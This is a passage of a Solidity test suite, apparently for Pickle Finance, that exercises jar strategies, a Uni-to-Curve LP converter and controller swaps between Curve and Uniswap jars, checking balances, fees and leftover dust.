hevm.warp(startTime); } // **** Tests **** function test_ethwbtcv1_timelock() public { _test_timelock(); } function test_ethwbtcv1_withdraw_release() public { _test_withdraw_release(); } function test_ethwbtcv1_get_earn_harvest_rewards() public { _test_get_earn_harvest_rewards(); } } contract UniCurveConverterTest is DSTestDefiBase { UniCurveConverter uniCurveConverter; function setUp() public { uniCurveConverter = new UniCurveConverter(); } function _test_uni_curve_converter(address token0, address token1) internal { address lp = univ2Factory.getPair(token0, token1); _getUniV2LPToken(lp, 100 ether); uint256 _balance = IERC20(lp).balanceOf(address(this)); IERC20(lp).safeApprove(address(uniCurveConverter), 0); IERC20(lp).safeApprove(address(uniCurveConverter), uint256(-1)); uint256 _before = IERC20(scrv).balanceOf(address(this)); uniCurveConverter.convert(lp, _balance); uint256 _after = IERC20(scrv).balanceOf(address(this)); // Gets scrv assertTrue(_after > _before); assertTrue(_after > 0); // No token left behind in router assertEq(IERC20(token0).balanceOf(address(uniCurveConverter)), 0); assertEq(IERC20(token1).balanceOf(address(uniCurveConverter)), 0); assertEq(IERC20(weth).balanceOf(address(uniCurveConverter)), 0); assertEq(IERC20(dai).balanceOf(address(uniCurveConverter)), 0); assertEq(IERC20(usdc).balanceOf(address(uniCurveConverter)), 0); assertEq(IERC20(usdt).balanceOf(address(uniCurveConverter)), 0); assertEq(IERC20(susd).balanceOf(address(uniCurveConverter)), 0); } function test_uni_curve_convert_dai_weth() public { _test_uni_curve_converter(dai, weth); } function test_uni_curve_convert_usdt_weth() public { _test_uni_curve_converter(usdt, weth); } function test_uni_curve_convert_wbtc_weth() public { _test_uni_curve_converter(wbtc, weth); } } contract StrategyCurveCurveJarSwapTest is DSTestDefiBase { address governance; address strategist; address devfund; address treasury; address timelock; IStrategy[] curveStrategies; PickleJar[] curvePickleJars; ControllerV4 controller; CurveProxyLogic curveProxyLogic; UniswapV2ProxyLogic uniswapV2ProxyLogic; address[] curvePools; address[] curveLps; function setUp() public { governance = address(this); strategist = address(this); devfund = address(new User()); treasury = address(new User()); timelock = address(this); controller = new ControllerV4( governance, strategist, timelock, devfund, treasury ); // Curve Strategies curveStrategies = new IStrategy[](3); curvePickleJars = new PickleJar[](curveStrategies.length); curveLps = new address[](curveStrategies.length); curvePools = new address[](curveStrategies.length); curveLps[0] = three_crv; curvePools[0] = three_pool; curveStrategies[0] = IStrategy( address( new StrategyCurve3CRVv2( governance, strategist, address(controller), timelock ) ) ); curveLps[1] = scrv; curvePools[1] = susdv2_pool; curveStrategies[1] = IStrategy( address( new StrategyCurveSCRVv3_2( governance, strategist, address(controller), timelock ) ) ); curveLps[2] = ren_crv; curvePools[2] = ren_pool; curveStrategies[2] = IStrategy( address( new StrategyCurveRenCRVv2( governance, strategist, address(controller), timelock ) ) ); // Create PICKLE Jars for (uint256 i = 0; i < curvePickleJars.length; i++) { curvePickleJars[i] = new PickleJar( curveStrategies[i].want(), governance, timelock, address(controller) ); controller.setJar( curveStrategies[i].want(), address(curvePickleJars[i]) ); controller.approveStrategy( curveStrategies[i].want(), address(curveStrategies[i]) ); controller.setStrategy( curveStrategies[i].want(), address(curveStrategies[i]) ); } curveProxyLogic = new CurveProxyLogic(); uniswapV2ProxyLogic = new UniswapV2ProxyLogic(); controller.approveJarConverter(address(curveProxyLogic)); controller.approveJarConverter(address(uniswapV2ProxyLogic)); hevm.warp(startTime); } function _getCurveLP(address curve, uint256 amount) internal { if (curve == ren_pool) { _getERC20(wbtc, amount); uint256 _wbtc = IERC20(wbtc).balanceOf(address(this)); IERC20(wbtc).approve(curve, _wbtc); uint256[2] memory liquidity; liquidity[1] = _wbtc; ICurveFi_2(curve).add_liquidity(liquidity, 0); } else { _getERC20(dai, amount); uint256 _dai = IERC20(dai).balanceOf(address(this)); IERC20(dai).approve(curve, _dai); if (curve == three_pool) { uint256[3] memory liquidity; liquidity[0] = _dai; ICurveFi_3(curve).add_liquidity(liquidity, 0); } else { uint256[4] memory liquidity; liquidity[0] = _dai; ICurveFi_4(curve).add_liquidity(liquidity, 0); } } } // **** Internal functions **** // // Theres so many internal functions due to stack blowing up // Some post swap checks // Checks if there's any leftover funds in the converter contract function _post_swap_check(uint256 fromIndex, uint256 toIndex) internal { IERC20 token0 = curvePickleJars[fromIndex].token(); IERC20 token1 = curvePickleJars[toIndex].token(); uint256 MAX_DUST = 10; // No funds left behind assertEq(curvePickleJars[fromIndex].balanceOf(address(controller)), 0); assertEq(curvePickleJars[toIndex].balanceOf(address(controller)), 0); assertTrue(token0.balanceOf(address(controller)) < MAX_DUST); assertTrue(token1.balanceOf(address(controller)) < MAX_DUST); // Make sure only controller can call 'withdrawForSwap' try curveStrategies[fromIndex].withdrawForSwap(0) { revert("!withdraw-for-swap-only-controller"); } catch {} } function _test_check_treasury_fee(uint256 _amount, uint256 earned) internal { assertEqApprox( _amount.mul(controller.convenienceFee()).div( controller.convenienceFeeMax() ), earned.mul(2) ); } function _test_swap_and_check_balances( address fromPickleJar, address toPickleJar, address fromPickleJarUnderlying, uint256 fromPickleJarUnderlyingAmount, address payable[] memory targets, bytes[] memory data ) internal { uint256 _beforeTo = IERC20(toPickleJar).balanceOf(address(this)); uint256 _beforeFrom = IERC20(fromPickleJar).balanceOf(address(this)); uint256 _beforeDev = IERC20(fromPickleJarUnderlying).balanceOf(devfund); uint256 _beforeTreasury = IERC20(fromPickleJarUnderlying).balanceOf( treasury ); uint256 _ret = controller.swapExactJarForJar( fromPickleJar, toPickleJar, fromPickleJarUnderlyingAmount, 0, // Min receive amount targets, data ); uint256 _afterTo = IERC20(toPickleJar).balanceOf(address(this)); uint256 _afterFrom = IERC20(fromPickleJar).balanceOf(address(this)); uint256 _afterDev = IERC20(fromPickleJarUnderlying).balanceOf(devfund); uint256 _afterTreasury = IERC20(fromPickleJarUnderlying).balanceOf( treasury ); uint256 treasuryEarned = _afterTreasury.sub(_beforeTreasury); assertEq(treasuryEarned, _afterDev.sub(_beforeDev)); assertTrue(treasuryEarned > 0); _test_check_treasury_fee(fromPickleJarUnderlyingAmount, treasuryEarned); assertTrue(_afterFrom < _beforeFrom); assertTrue(_afterTo > _beforeTo); assertTrue(_afterTo.sub(_beforeTo) > 0); assertEq(_afterTo.sub(_beforeTo), _ret); assertEq(_afterFrom, 0); } function _get_uniswap_pl_swap_data(address from, address to) internal pure returns (bytes memory) { return abi.encodeWithSignature("swapUniswap(address,address)", from, to); } function _test_curve_curve( uint256 fromIndex, uint256 toIndex, uint256 amount, address payable[] memory targets, bytes[] memory data ) public { // Get LP _getCurveLP(curvePools[fromIndex], amount); // Deposit into pickle jars address from = address(curvePickleJars[fromIndex].token()); uint256 _from = IERC20(from).balanceOf(address(this)); IERC20(from).approve(address(curvePickleJars[fromIndex]), _from); curvePickleJars[fromIndex].deposit(_from); curvePickleJars[fromIndex].earn(); // Approve controller uint256 _fromPickleJar = IERC20(address(curvePickleJars[fromIndex])) .balanceOf(address(this)); IERC20(address(curvePickleJars[fromIndex])).approve( address(controller), _fromPickleJar ); // Swap try controller.swapExactJarForJar( address(curvePickleJars[fromIndex]), address(curvePickleJars[toIndex]), _fromPickleJar, uint256(-1), // Min receive amount targets, data ) { revert("min-receive-amount"); } catch {} _test_swap_and_check_balances( address(curvePickleJars[fromIndex]), address(curvePickleJars[toIndex]), from, _fromPickleJar, targets, data ); _post_swap_check(fromIndex, toIndex); } // **** Tests **** function test_jar_converter_curve_curve_0() public { uint256 fromIndex = 0; uint256 toIndex = 1; uint256 amount = 400e18; int128 fromCurveUnderlyingIndex = 0; bytes4 toCurveFunctionSig = _getFunctionSig( "add_liquidity(uint256[4],uint256)" ); uint256 toCurvePoolSize = 4; uint256 toCurveUnderlyingIndex = 0; address toCurveUnderlying = dai; // Remove liquidity address fromCurve = curvePools[fromIndex]; address fromCurveLp = curveLps[fromIndex]; address payable target0 = payable(address(curveProxyLogic)); bytes memory data0 = abi.encodeWithSignature( "remove_liquidity_one_coin(address,address,int128)", fromCurve, fromCurveLp, fromCurveUnderlyingIndex ); // Add liquidity address toCurve = curvePools[toIndex]; address payable target1 = payable(address(curveProxyLogic)); bytes memory data1 = abi.encodeWithSignature( "add_liquidity(address,bytes4,uint256,uint256,address)", toCurve, toCurveFunctionSig, toCurvePoolSize, toCurveUnderlyingIndex, toCurveUnderlying ); // Swap _test_curve_curve( fromIndex, toIndex, amount, _getDynamicArray(target0, target1), _getDynamicArray(data0, data1) ); } function test_jar_converter_curve_curve_1() public { uint256 fromIndex = 0; uint256 toIndex = 2; uint256 amount = 400e18; int128 fromCurveUnderlyingIndex = 0; bytes4 toCurveFunctionSig = _getFunctionSig( "add_liquidity(uint256[2],uint256)" ); uint256 toCurvePoolSize = 2; uint256 toCurveUnderlyingIndex = 1; address toCurveUnderlying = wbtc; // Remove liquidity address fromCurve = curvePools[fromIndex]; address fromCurveLp = curveLps[fromIndex]; bytes memory data0 = abi.encodeWithSignature( "remove_liquidity_one_coin(address,address,int128)", fromCurve, fromCurveLp, fromCurveUnderlyingIndex ); // Swap bytes memory data1 = _get_uniswap_pl_swap_data(dai, toCurveUnderlying); // Add liquidity address toCurve = curvePools[toIndex]; bytes memory data2 = abi.encodeWithSignature( "add_liquidity(address,bytes4,uint256,uint256,address)", toCurve, toCurveFunctionSig, toCurvePoolSize, toCurveUnderlyingIndex, toCurveUnderlying ); _test_curve_curve( fromIndex, toIndex, amount, _getDynamicArray( payable(address(curveProxyLogic)), payable(address(uniswapV2ProxyLogic)), payable(address(curveProxyLogic)) ), _getDynamicArray(data0, data1, data2) ); } function test_jar_converter_curve_curve_2() public { uint256 fromIndex = 1; uint256 toIndex = 0; uint256 amount = 400e18; int128 fromCurveUnderlyingIndex = 1; bytes4 toCurveFunctionSig = _getFunctionSig( "add_liquidity(uint256[3],uint256)" ); uint256 toCurvePoolSize = 3; uint256 toCurveUnderlyingIndex = 2; address toCurveUnderlying = usdt; // Remove liquidity address fromCurve = susdv2_deposit; // curvePools[fromIndex]; address fromCurveLp = curveLps[fromIndex]; bytes memory data0 = abi.encodeWithSignature( "remove_liquidity_one_coin(address,address,int128)", fromCurve, fromCurveLp, fromCurveUnderlyingIndex ); // Swap bytes memory data1 = _get_uniswap_pl_swap_data(usdc, usdt); // Add liquidity address toCurve = curvePools[toIndex]; bytes memory data2 = abi.encodeWithSignature( "add_liquidity(address,bytes4,uint256,uint256,address)", toCurve, toCurveFunctionSig, toCurvePoolSize, toCurveUnderlyingIndex, toCurveUnderlying ); _test_curve_curve( fromIndex, toIndex, amount, _getDynamicArray( payable(address(curveProxyLogic)), payable(address(uniswapV2ProxyLogic)), payable(address(curveProxyLogic)) ), _getDynamicArray(data0, data1, data2) ); } function test_jar_converter_curve_curve_3() public { uint256 fromIndex = 2; uint256 toIndex = 0; uint256 amount = 4e6; int128 fromCurveUnderlyingIndex = 1; bytes4 toCurveFunctionSig = _getFunctionSig( "add_liquidity(uint256[3],uint256)" ); uint256 toCurvePoolSize = 3; uint256 toCurveUnderlyingIndex = 1; address toCurveUnderlying = usdc; // Remove liquidity address fromCurve = curvePools[fromIndex]; address fromCurveLp = curveLps[fromIndex]; bytes memory data0 = abi.encodeWithSignature( "remove_liquidity_one_coin(address,address,int128)", fromCurve, fromCurveLp, fromCurveUnderlyingIndex ); // Swap bytes memory data1 = _get_uniswap_pl_swap_data(wbtc, usdc); // Add liquidity address toCurve = curvePools[toIndex]; bytes memory data2 = abi.encodeWithSignature( "add_liquidity(address,bytes4,uint256,uint256,address)", toCurve, toCurveFunctionSig, toCurvePoolSize, toCurveUnderlyingIndex, toCurveUnderlying ); _test_curve_curve( fromIndex, toIndex, amount, _getDynamicArray( payable(address(curveProxyLogic)), payable(address(uniswapV2ProxyLogic)), payable(address(curveProxyLogic)) ), _getDynamicArray(data0, data1, data2) ); } function test_jar_converter_curve_curve_4() public { uint256 fromIndex = 1; uint256 toIndex = 0; uint256 amount = 400e18; int128 fromCurveUnderlyingIndex = 2; bytes4 toCurveFunctionSig = _getFunctionSig( "add_liquidity(uint256[3],uint256)" ); uint256 toCurvePoolSize = 3; uint256 toCurveUnderlyingIndex = 1; address toCurveUnderlying = usdc; // Remove liquidity address fromCurve = susdv2_deposit; address fromCurveLp = curveLps[fromIndex]; bytes memory data0 = abi.encodeWithSignature( "remove_liquidity_one_coin(address,address,int128)", fromCurve, fromCurveLp, fromCurveUnderlyingIndex ); // Swap bytes memory data1 = _get_uniswap_pl_swap_data(usdt, usdc); // Add liquidity address toCurve = curvePools[toIndex]; bytes memory data2 = abi.encodeWithSignature( "add_liquidity(address,bytes4,uint256,uint256,address)", toCurve, toCurveFunctionSig, toCurvePoolSize, toCurveUnderlyingIndex, toCurveUnderlying ); _test_curve_curve( fromIndex, toIndex, amount, _getDynamicArray( payable(address(curveProxyLogic)), payable(address(uniswapV2ProxyLogic)), payable(address(curveProxyLogic)) ), _getDynamicArray(data0, data1, data2) ); } } contract StrategyCurveUniJarSwapTest is DSTestDefiBase { address governance; address strategist; address devfund; address treasury; address timelock; IStrategy[] curveStrategies; IStrategy[] uniStrategies; PickleJar[] curvePickleJars; PickleJar[] uniPickleJars; ControllerV4 controller; CurveProxyLogic curveProxyLogic; UniswapV2ProxyLogic uniswapV2ProxyLogic; address[] curvePools; address[] curveLps; address[] uniUnderlying; // Contract wide variable to avoid stack too deep errors uint256 temp; function setUp() public { governance = address(this); strategist = address(this); devfund = address(new User()); treasury = address(new User()); timelock = address(this); controller = new ControllerV4( governance, strategist, timelock, devfund, treasury ); // Curve Strategies curveStrategies = new IStrategy[](3); curvePickleJars = new PickleJar[](curveStrategies.length); curveLps = new address[](curveStrategies.length); curvePools = new address[](curveStrategies.length); curveLps[0] = three_crv; curvePools[0] = three_pool; curveStrategies[0] = IStrategy( address( new StrategyCurve3CRVv2( governance, strategist, address(controller), timelock ) ) ); curveLps[1] = scrv; curvePools[1] = susdv2_pool; curveStrategies[1] = IStrategy( address( new StrategyCurveSCRVv3_2( governance, strategist, address(controller), timelock ) ) ); curveLps[2] = ren_crv; curvePools[2] = ren_pool; curveStrategies[2] = IStrategy( address( new StrategyCurveRenCRVv2( governance, strategist, address(controller), timelock ) ) ); // Create PICKLE Jars for (uint256 i = 0; i < curvePickleJars.length; i++) { curvePickleJars[i] = new PickleJar( curveStrategies[i].want(), governance, timelock, address(controller) ); controller.setJar( curveStrategies[i].want(), address(curvePickleJars[i]) ); controller.approveStrategy( curveStrategies[i].want(), address(curveStrategies[i]) ); controller.setStrategy( curveStrategies[i].want(), address(curveStrategies[i]) ); } // Uni strategies uniStrategies = new IStrategy[](4); uniUnderlying = new address[](uniStrategies.length); uniPickleJars = new PickleJar[](uniStrategies.length); uniUnderlying[0] = dai; uniStrategies[0] = IStrategy( address( new StrategyUniEthDaiLpV4( governance, strategist, address(controller), timelock ) ) ); uniUnderlying[1] = usdc; uniStrategies[1] = IStrategy( address( new StrategyUniEthUsdcLpV4( governance, strategist, address(controller), timelock ) ) ); uniUnderlying[2] = usdt; uniStrategies[2] = IStrategy( address( new StrategyUniEthUsdtLpV4( governance, strategist, address(controller), timelock ) ) ); uniUnderlying[3] = wbtc; uniStrategies[3] = IStrategy( address( new StrategyUniEthWBtcLpV2( governance, strategist, address(controller), timelock ) ) ); for (uint256 i = 0; i < uniStrategies.length; i++) { uniPickleJars[i] = new PickleJar( uniStrategies[i].want(), governance, timelock, address(controller) ); controller.setJar( uniStrategies[i].want(), address(uniPickleJars[i]) ); controller.approveStrategy( uniStrategies[i].want(), address(uniStrategies[i]) ); controller.setStrategy( uniStrategies[i].want(), address(uniStrategies[i]) ); } curveProxyLogic = new CurveProxyLogic(); uniswapV2ProxyLogic = new UniswapV2ProxyLogic(); controller.approveJarConverter(address(curveProxyLogic)); controller.approveJarConverter(address(uniswapV2ProxyLogic)); hevm.warp(startTime); } function _getCurveLP(address curve, uint256 amount) internal { if (curve == ren_pool) { _getERC20(wbtc, amount); uint256 _wbtc = IERC20(wbtc).balanceOf(address(this)); IERC20(wbtc).approve(curve, _wbtc); uint256[2] memory liquidity; liquidity[1] = _wbtc; ICurveFi_2(curve).add_liquidity(liquidity, 0); } else { _getERC20(dai, amount); uint256 _dai = IERC20(dai).balanceOf(address(this)); IERC20(dai).approve(curve, _dai); if (curve == three_pool) { uint256[3] memory liquidity; liquidity[0] = _dai; ICurveFi_3(curve).add_liquidity(liquidity, 0); } else { uint256[4] memory liquidity; liquidity[0] = _dai; ICurveFi_4(curve).add_liquidity(liquidity, 0); } } } function _get_primitive_to_lp_data( address from, address to, address dustRecipient ) internal pure returns (bytes memory) { return abi.encodeWithSignature( "primitiveToLpTokens(address,address,address)", from, to, dustRecipient ); } function _get_curve_remove_liquidity_data( address curve, address curveLP, int128 index ) internal pure returns (bytes memory) { return abi.encodeWithSignature( "remove_liquidity_one_coin(address,address,int128)", curve, curveLP, index ); } // Some post swap checks // Checks if there's any leftover funds in the converter contract function _post_swap_check(uint256 fromIndex, uint256 toIndex) internal { IERC20 token0 = curvePickleJars[fromIndex].token(); IUniswapV2Pair token1 = IUniswapV2Pair( address(uniPickleJars[toIndex].token()) ); uint256 MAX_DUST = 1000; // No funds left behind assertEq(curvePickleJars[fromIndex].balanceOf(address(controller)), 0); assertEq(uniPickleJars[toIndex].balanceOf(address(controller)), 0); assertTrue(token0.balanceOf(address(controller)) < MAX_DUST); assertTrue(token1.balanceOf(address(controller)) < MAX_DUST); // Curve -> UNI LP should be optimal supply // Note: We refund the access, which is why its checking this balance assertTrue(IERC20(token1.token0()).balanceOf(address(this)) < MAX_DUST); assertTrue(IERC20(token1.token1()).balanceOf(address(this)) < MAX_DUST); // Make sure only controller can call 'withdrawForSwap' try curveStrategies[fromIndex].withdrawForSwap(0) { revert("!withdraw-for-swap-only-controller"); } catch {} } function _test_check_treasury_fee(uint256 _amount, uint256 earned) internal { assertEqApprox( _amount.mul(controller.convenienceFee()).div( controller.convenienceFeeMax() ), earned.mul(2) ); } function _test_swap_and_check_balances( address fromPickleJar, address toPickleJar, address fromPickleJarUnderlying, uint256 fromPickleJarUnderlyingAmount, address payable[] memory targets, bytes[] memory data ) internal { uint256 _beforeTo = IERC20(toPickleJar).balanceOf(address(this)); uint256 _beforeFrom = IERC20(fromPickleJar).balanceOf(address(this)); uint256 _beforeDev = IERC20(fromPickleJarUnderlying).balanceOf(devfund); uint256 _beforeTreasury = IERC20(fromPickleJarUnderlying).balanceOf( treasury ); uint256 _ret = controller.swapExactJarForJar( fromPickleJar, toPickleJar, fromPickleJarUnderlyingAmount, 0, // Min receive amount targets, data ); uint256 _afterTo = IERC20(toPickleJar).balanceOf(address(this)); uint256 _afterFrom = IERC20(fromPickleJar).balanceOf(address(this)); uint256 _afterDev = IERC20(fromPickleJarUnderlying).balanceOf(devfund); uint256 _afterTreasury = IERC20(fromPickleJarUnderlying).balanceOf( treasury ); uint256 treasuryEarned = _afterTreasury.sub(_beforeTreasury); assertEq(treasuryEarned, _afterDev.sub(_beforeDev)); assertTrue(treasuryEarned > 0); _test_check_treasury_fee(fromPickleJarUnderlyingAmount, treasuryEarned); assertTrue(_afterFrom < _beforeFrom); assertTrue(_afterTo > _beforeTo); assertTrue(_afterTo.sub(_beforeTo) > 0); assertEq(_afterTo.sub(_beforeTo), _ret); assertEq(_afterFrom, 0); } function _test_curve_uni_swap( uint256 fromIndex, uint256 toIndex, uint256 amount, address payable[] memory targets, bytes[] memory data ) internal { // Deposit into PickleJars address from = address(curvePickleJars[fromIndex].token()); _getCurveLP(curvePools[fromIndex], amount); uint256 _from = IERC20(from).balanceOf(address(this)); IERC20(from).approve(address(curvePickleJars[fromIndex]), _from); curvePickleJars[fromIndex].deposit(_from); curvePickleJars[fromIndex].earn(); // Swap! uint256 _fromPickleJar = IERC20(address(curvePickleJars[fromIndex])) .balanceOf(address(this)); IERC20(address(curvePickleJars[fromIndex])).approve( address(controller), _fromPickleJar ); // Check minimum amount try controller.swapExactJarForJar( address(curvePickleJars[fromIndex]), address(uniPickleJars[toIndex]), _fromPickleJar, uint256(-1), // Min receive amount targets, data ) { revert("min-amount-should-fail"); } catch {} _test_swap_and_check_balances( address(curvePickleJars[fromIndex]), address(uniPickleJars[toIndex]), from, _fromPickleJar, targets, data ); _post_swap_check(fromIndex, toIndex); } // **** Tests **** // function test_jar_converter_curve_uni_0_0() public { uint256 fromIndex = 0; uint256 toIndex = 0; uint256 amount = 400e18; address fromUnderlying = dai; int128 fromUnderlyingIndex = 0; address curvePool = curvePools[fromIndex]; address toUnderlying = uniUnderlying[toIndex]; address toWant = univ2Factory.getPair(weth, toUnderlying); bytes memory data0 = _get_curve_remove_liquidity_data( curvePool, curveLps[fromIndex], fromUnderlyingIndex ); bytes memory data1 = _get_primitive_to_lp_data( fromUnderlying, toWant, treasury ); _test_curve_uni_swap( fromIndex, toIndex, amount, _getDynamicArray( payable(address(curveProxyLogic)), payable(address(uniswapV2ProxyLogic)) ), _getDynamicArray(data0, data1) ); } function test_jar_converter_curve_uni_0_1() public { uint256 fromIndex = 0; uint256 toIndex = 1; uint256 amount = 400e18; address fromUnderlying = usdc; int128 fromUnderlyingIndex = 1; address curvePool = curvePools[fromIndex]; address toUnderlying = uniUnderlying[toIndex]; address toWant = univ2Factory.getPair(weth, toUnderlying); bytes memory data0 = _get_curve_remove_liquidity_data( curvePool, curveLps[fromIndex], fromUnderlyingIndex ); bytes memory data1 = _get_primitive_to_lp_data( fromUnderlying, toWant, treasury ); _test_curve_uni_swap( fromIndex, toIndex, amount, _getDynamicArray( payable(address(curveProxyLogic)), payable(address(uniswapV2ProxyLogic)) ), _getDynamicArray(data0, data1) ); } function test_jar_converter_curve_uni_0_2() public { uint256 fromIndex = 0; uint256 toIndex = 2; uint256 amount = 400e18; address fromUnderlying = usdt; int128 fromUnderlyingIndex = 2; address curvePool = curvePools[fromIndex]; address toUnderlying = uniUnderlying[toIndex]; address toWant = univ2Factory.getPair(weth, toUnderlying); bytes memory data0 = _get_curve_remove_liquidity_data( curvePool, curveLps[fromIndex], fromUnderlyingIndex ); bytes memory data1 = _get_primitive_to_lp_data( fromUnderlying, toWant, treasury ); _test_curve_uni_swap( fromIndex, toIndex, amount, _getDynamicArray( payable(address(curveProxyLogic)), payable(address(uniswapV2ProxyLogic)) ), _getDynamicArray(data0, data1) ); } function test_jar_converter_curve_uni_0_3() public { uint256 fromIndex = 0; uint256 toIndex = 3; uint256 amount = 400e18; address fromUnderlying = usdt; int128 fromUnderlyingIndex = 2; address curvePool = curvePools[fromIndex]; address toUnderlying = uniUnderlying[toIndex]; address toWant = univ2Factory.getPair(weth, toUnderlying); bytes memory data0 = _get_curve_remove_liquidity_data( curvePool, curveLps[fromIndex], fromUnderlyingIndex ); bytes memory data1 = _get_primitive_to_lp_data( fromUnderlying, toWant, treasury ); _test_curve_uni_swap( fromIndex, toIndex, amount, _getDynamicArray( payable(address(curveProxyLogic)), payable(address(uniswapV2ProxyLogic)) ), _getDynamicArray(data0, data1) ); } function test_jar_converter_curve_uni_1_0() public { uint256 fromIndex = 1; uint256 toIndex = 0; uint256 amount = 400e18; address fromUnderlying = usdt; int128 fromUnderlyingIndex = 2; address curvePool = susdv2_deposit; // curvePools[fromIndex]; address toUnderlying = uniUnderlying[toIndex]; address toWant = univ2Factory.getPair(weth, toUnderlying); bytes memory data0 = _get_curve_remove_liquidity_data( curvePool, curveLps[fromIndex], fromUnderlyingIndex ); bytes memory data1 = _get_primitive_to_lp_data( fromUnderlying, toWant, treasury ); _test_curve_uni_swap( fromIndex, toIndex, amount, _getDynamicArray( payable(address(curveProxyLogic)), payable(address(uniswapV2ProxyLogic)) ), _getDynamicArray(data0, data1) ); } function test_jar_converter_curve_uni_1_1() public { uint256 fromIndex = 1; uint256 toIndex = 1; uint256 amount = 400e18; address fromUnderlying = dai; int128 fromUnderlyingIndex = 0; address curvePool = susdv2_deposit; // curvePools[fromIndex]; address toUnderlying = uniUnderlying[toIndex]; address toWant = univ2Factory.getPair(weth, toUnderlying); bytes memory data0 = _get_curve_remove_liquidity_data( curvePool, curveLps[fromIndex], fromUnderlyingIndex ); bytes memory data1 = _get_primitive_to_lp_data( fromUnderlying, toWant, treasury ); _test_curve_uni_swap( fromIndex, toIndex, amount, _getDynamicArray( payable(address(curveProxyLogic)), payable(address(uniswapV2ProxyLogic)) ), _getDynamicArray(data0, data1) ); } function test_jar_converter_curve_uni_1_2() public { uint256 fromIndex = 1; uint256 toIndex = 2; uint256 amount = 400e18; address fromUnderlying = dai; int128 fromUnderlyingIndex = 0; address curvePool = susdv2_deposit; // curvePools[fromIndex]; address toUnderlying = uniUnderlying[toIndex]; address toWant = univ2Factory.getPair(weth, toUnderlying); bytes memory data0 = _get_curve_remove_liquidity_data( curvePool, curveLps[fromIndex], fromUnderlyingIndex ); bytes memory data1 = _get_primitive_to_lp_data( fromUnderlying, toWant, treasury ); _test_curve_uni_swap( fromIndex, toIndex, amount, _getDynamicArray( payable(address(curveProxyLogic)), payable(address(uniswapV2ProxyLogic)) ), _getDynamicArray(data0, data1) ); } function test_jar_converter_curve_uni_1_3() public { uint256 fromIndex = 1; uint256 toIndex = 3; uint256 amount = 400e18; address fromUnderlying = dai; int128 fromUnderlyingIndex = 0; address curvePool = susdv2_deposit; // curvePools[fromIndex]; address toUnderlying = uniUnderlying[toIndex]; address toWant = univ2Factory.getPair(weth, toUnderlying); bytes memory data0 = _get_curve_remove_liquidity_data( curvePool, curveLps[fromIndex], fromUnderlyingIndex ); bytes memory data1 = _get_primitive_to_lp_data( fromUnderlying, toWant, treasury ); _test_curve_uni_swap( fromIndex, toIndex, amount, _getDynamicArray( payable(address(curveProxyLogic)), payable(address(uniswapV2ProxyLogic)) ), _getDynamicArray(data0, data1) ); } function test_jar_converter_curve_uni_2_3() public { uint256 fromIndex = 2; uint256 toIndex = 3; uint256 amount = 4e6; address fromUnderlying = wbtc; int128 fromUnderlyingIndex = 1; address curvePool = curvePools[fromIndex]; address toUnderlying = uniUnderlying[toIndex]; address toWant = univ2Factory.getPair(weth, toUnderlying); bytes memory data0 = _get_curve_remove_liquidity_data( curvePool, curveLps[fromIndex], fromUnderlyingIndex ); bytes memory data1 = _get_primitive_to_lp_data( fromUnderlying, toWant, treasury ); _test_curve_uni_swap( fromIndex, toIndex, amount, _getDynamicArray( payable(address(curveProxyLogic)), payable(address(uniswapV2ProxyLogic)) ), _getDynamicArray(data0, data1) ); } } contract StrategyUniCurveJarSwapTest is DSTestDefiBase { address governance; address strategist; address devfund; address treasury; address timelock; IStrategy[] curveStrategies; IStrategy[] uniStrategies; PickleJar[] curvePickleJars; PickleJar[] uniPickleJars; ControllerV4 controller; CurveProxyLogic curveProxyLogic; UniswapV2ProxyLogic uniswapV2ProxyLogic; address[] curvePools; address[] curveLps; address[] uniUnderlying; // Contract wide variable to avoid stack too deep errors uint256 temp; function setUp() public { governance = address(this); strategist = address(this); devfund = address(new User()); treasury = address(new User()); timelock = address(this); controller = new ControllerV4( governance, strategist, timelock, devfund, treasury ); // Curve Strategies curveStrategies = new IStrategy[](3); curvePickleJars = new PickleJar[](curveStrategies.length); curveLps = new address[](curveStrategies.length); curvePools = new address[](curveStrategies.length); curveLps[0] = three_crv; curvePools[0] = three_pool; curveStrategies[0] = IStrategy( address( new StrategyCurve3CRVv2( governance, strategist, address(controller), timelock ) ) ); curveLps[1] = scrv; curvePools[1] = susdv2_pool; curveStrategies[1] = IStrategy( address( new StrategyCurveSCRVv3_2( governance, strategist, address(controller), timelock ) ) ); curveLps[2] = ren_crv; curvePools[2] = ren_pool; curveStrategies[2] = IStrategy( address( new StrategyCurveRenCRVv2( governance, strategist, address(controller), timelock ) ) ); // Create PICKLE Jars for (uint256 i = 0; i < curvePickleJars.length; i++) { curvePickleJars[i] = new PickleJar( curveStrategies[i].want(), governance, timelock, address(controller) ); controller.setJar( curveStrategies[i].want(), address(curvePickleJars[i]) ); controller.approveStrategy( curveStrategies[i].want(), address(curveStrategies[i]) ); controller.setStrategy( curveStrategies[i].want(), address(curveStrategies[i]) ); } // Uni strategies uniStrategies = new IStrategy[](4); uniUnderlying = new address[](uniStrategies.length); uniPickleJars = new PickleJar[](uniStrategies.length); uniUnderlying[0] = dai; uniStrategies[0] = IStrategy( address( new StrategyUniEthDaiLpV4( governance, strategist, address(controller), timelock ) ) ); uniUnderlying[1] = usdc; uniStrategies[1] = IStrategy( address( new StrategyUniEthUsdcLpV4( governance, strategist, address(controller), timelock ) ) ); uniUnderlying[2] = usdt; uniStrategies[2] = IStrategy( address( new StrategyUniEthUsdtLpV4( governance, strategist, address(controller), timelock ) ) ); uniUnderlying[3] = wbtc; uniStrategies[3] = IStrategy( address( new StrategyUniEthWBtcLpV2( governance, strategist, address(controller), timelock ) ) ); for (uint256 i = 0; i < uniStrategies.length; i++) { uniPickleJars[i] = new PickleJar( uniStrategies[i].want(), governance, timelock, address(controller) ); controller.setJar( uniStrategies[i].want(), address(uniPickleJars[i]) ); controller.approveStrategy( uniStrategies[i].want(), address(uniStrategies[i]) ); controller.setStrategy( uniStrategies[i].want(), address(uniStrategies[i]) ); } curveProxyLogic = new CurveProxyLogic(); uniswapV2ProxyLogic = new UniswapV2ProxyLogic(); controller.approveJarConverter(address(curveProxyLogic)); controller.approveJarConverter(address(uniswapV2ProxyLogic)); hevm.warp(startTime); } function _getUniLP( address lp, uint256 ethAmount, uint256 otherAmount ) internal { IUniswapV2Pair fromPair = IUniswapV2Pair(lp); address other = fromPair.token0() != weth ? fromPair.token0() : fromPair.token1(); _getERC20(other, otherAmount); uint256 _other = IERC20(other).balanceOf(address(this)); IERC20(other).safeApprove(address(univ2), 0); IERC20(other).safeApprove(address(univ2), _other); univ2.addLiquidityETH{value: ethAmount}( other, _other, 0, 0, address(this), now + 60 ); } function 